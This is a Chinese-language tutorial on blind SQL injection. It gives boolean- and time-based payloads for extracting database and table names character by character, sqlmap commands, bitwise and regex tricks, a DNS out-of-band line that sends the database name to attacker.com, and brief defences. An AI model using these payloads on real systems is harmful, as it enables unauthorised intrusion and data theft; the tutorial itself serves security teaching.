SQL注入之盲注技術詳解
- 一、盲注基本概念
- 盲注特點:
- 二、盲注主要類型
- 1. 布爾盲注
- 判斷依據:
- 2. 時間盲注
- 判斷依據:
- 三、布爾盲注詳細技術
- 1. 識別布爾盲注
- 2. 數據提取技術
- (1) 判斷數據庫類型
- (2) 獲取數據庫名長度
- (3) 逐字符獲取數據庫名
- (4) 獲取表名
- (5) 自動化工具
- 四、時間盲注詳細技術
- 1. 識別時間盲注
- 2. 各數據庫延時函數
- 2. 數據提取技術
- (1) 判斷條件是否成立
- (2) 逐位獲取數據
- (3) 使用case when語句
- (4) 自動化工具
- 五、盲注高級技巧
- 1. 二分法加速盲注
- 2. 位運算盲注
- 3. DNS外帶技術(OOB)
- 4. 正則表達式盲注
- 六、盲注防御措施
一、盲注基本概念
盲注(Blind SQL Injection)是一種特殊的SQL注入技術,當應用程序不會直接返回數據庫錯誤信息或查詢結果時使用。與常規注入不同,盲注需要通過應用程序的間接響應(如布爾狀態、時間延遲)來推斷數據。
盲注特點:
- 無直接錯誤信息回顯
- 無查詢結果直接顯示
- 需要通過邏輯判斷或事件延遲獲取數據
- 攻擊速度較慢但危害性相同
二、盲注主要類型
1. 布爾盲注
通過頁面返回的真假狀態判斷SQL語句執行結果
判斷依據:
- 頁面內容變化
- http狀態碼變化
- 返回數據長度變化
2. 時間盲注
通過數據庫響應時間延遲判斷SQL語句執行結果
判斷依據:
- 頁面返回時間差異
- 使用延時函數如sleep(),benchmark()
三、布爾盲注詳細技術
1. 識別布爾盲注
測試語句:
id=1' and 1=1 --+ (返回正常頁面)
id=1' and 1=2 --+ (返回異常或不同頁面)
2. 數據提取技術
(1) 判斷數據庫類型
and (select count(*) from information_schema.tables)>0 -- MySQL
and (select count(*) from sysobjects)>0 -- SQL Server
(2) 獲取數據庫名長度
and length(database())=5 -- 判斷當前數據庫名長度是否為5
(3) 逐字符獲取數據庫名
and substr(database(),1,1)='a' -- 判斷第一個字符是否為a
and ascii(substr(database(),1,1))=97 -- 判斷第一個字符ASCII碼是否為97(a)
(4) 獲取表名
and (select count(*) from information_schema.tables where table_schema=database() and substr(table_name,1,1)='u')>0
(5) 自動化工具
使用sqlmap進行布爾盲注:
sqlmap -u "http://example.com/?id=1" --technique=B --dbs
四、時間盲注詳細技術
1. 識別時間盲注
id=1' and sleep(5) --+ (觀察響應是否延遲5秒)
2. 各數據庫延時函數
數據庫 | 延時函數 |
---|---|
MySQL | SLEEP(5), BENCHMARK(1000000,MD5(1)) |
SQL Server | WAITFOR DELAY ‘0:0:5’ |
PostgreSQL | pg_sleep(5) |
Oracle | DBMS_LOCK.SLEEP(5) |
2. 數據提取技術
(1) 判斷條件是否成立
id=1' and if(ascii(substr(database(),1,1))=97,sleep(5),1) --+
(2) 逐位獲取數據
id=1' and if((select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema=database() limit 0,1)>100,sleep(5),1) --+
(3) 使用case when語句
id=1' and (case when (ascii(substr(database(),1,1))=97) then sleep(5) else 1 end) --+
(4) 自動化工具
使用sqlmap進行時間盲注:
sqlmap -u "http://example.com/?id=1" --technique=T --dbs
五、盲注高級技巧
1. 二分法加速盲注
and ascii(substr(database(),1,1))>128 -- 高位判斷
and ascii(substr(database(),1,1))>64 -- 中位判斷
and ascii(substr(database(),1,1))>96 -- 低位判斷
2. 位運算盲注
and (ascii(substr(database(),1,1))>>1)&1=1 -- 判斷第一位
3. DNS外帶技術(OOB)
-- MySQL (需要load_file權限)
and (select load_file(concat('\\\\',(select database()),'.attacker.com\\share\\')))
4. 正則表達式盲注
and (select database()) regexp '^a' -- 判斷數據庫名是否以a開頭
六、盲注防御措施
- 使用預編譯語句
- 輸入驗證:
白名單驗證
類型強制轉換 - 錯誤處理:
同意錯誤頁面
不返回詳細錯誤信息 - 權限控制:
最小權限原則
禁用危險函數 - WAF防護:
識別并攔截盲注特征
頻率限制